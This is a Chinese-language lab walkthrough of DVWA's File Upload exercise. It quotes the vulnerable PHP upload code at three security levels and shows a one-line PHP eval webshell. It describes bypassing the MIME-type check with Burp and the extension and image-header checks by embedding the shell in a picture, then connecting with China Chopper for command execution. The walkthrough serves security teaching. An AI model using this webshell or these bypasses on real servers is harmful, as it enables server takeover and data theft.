File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
题目描述
常规的文件上传操作:
客户端上传:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>文件上传操作</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
用户名:<input type="text" name="username"><br />
头像:<input type="file" name="img"><br />
<input type="submit" value="提交">
</form>
</body>
</html>
在HTML
<form>
标签中enctype
属性规定在发送到服务器之前应该如何对表单数据进行编码。
它的值有三种:
application/x-www-form-urlencoded: 在发送前编码所有字符(默认) multipart/form-data: 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。 text/plain: 空格转换为 "+" 加号,但不对特殊字符编码。
服务端接收:使用$_FILES
数组接收参数。
文件上传漏洞的利用的条件:
1.能够成功上传木马文件
2.上传文件必须能够被执行
3.上传文件的路径必须可知
LOW
1.页面源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
string basename ( string $path [, string $suffix ] )
参数介绍:
$path
: 必需。规定要检查的路径。在Windows
中,斜线(/
)和反斜线(\
)都可以用作目录分隔符。在其它环境下是斜线(/
)。
$suffix
: 可选。规定文件扩展名。如果文件有suffix
,则不会输出这个扩展名。
举例:
<?php $path = "/testweb/home.php"; //显示带有文件扩展名的文件名 echo basename($path); //显示不带有文件扩展名的文件名 echo basename($path,".php"); ?>
输出:
home.php home
2.构造一句话木马(小马)。
<?php @eval($_POST[abc]); ?>
3.上传成功并返回路径。
4.菜刀连接木马
打开菜刀尝试右键添加http://localhost/DVWA-master/hackable/uploads/shell.php,并输入刚刚设置的密码。
成功连接,获取服务器权限,可以在服务器执行任意命令,获取webshell权限,可以下载、修改服务器的所有文件。
Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
可以看到,Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
方法一:采用burpsuite修改数据包的文件类型
(1)上传小马的jpg文件格式,显示可以上传成功。
(2) 采用burpsuite抓取上传shell.jpg的数据包,这里需要注意对的是,对DVWA平台抓取数据包,必须用 本机ip/DVWA-master/进行登陆,采用127.0.0.1和localhost均会导致抓不到该平台下的包,在cmd中输入ipconfig查看本机ip。
修改数据的文件后缀,并查看文件内容。
(4)打开菜刀,获取webshell权限。
HIGH
页面源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
strrpos(string,find,start)
函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
(1) 采用notepad打开图片文件,在其中添加一句话木马并保存。
(2) 文件上传成功
(3)菜刀直接连接图片,并输入密码,可获取权限。
参考链接:DVWA File Upload 教程_墨没默的博客-CSDN博客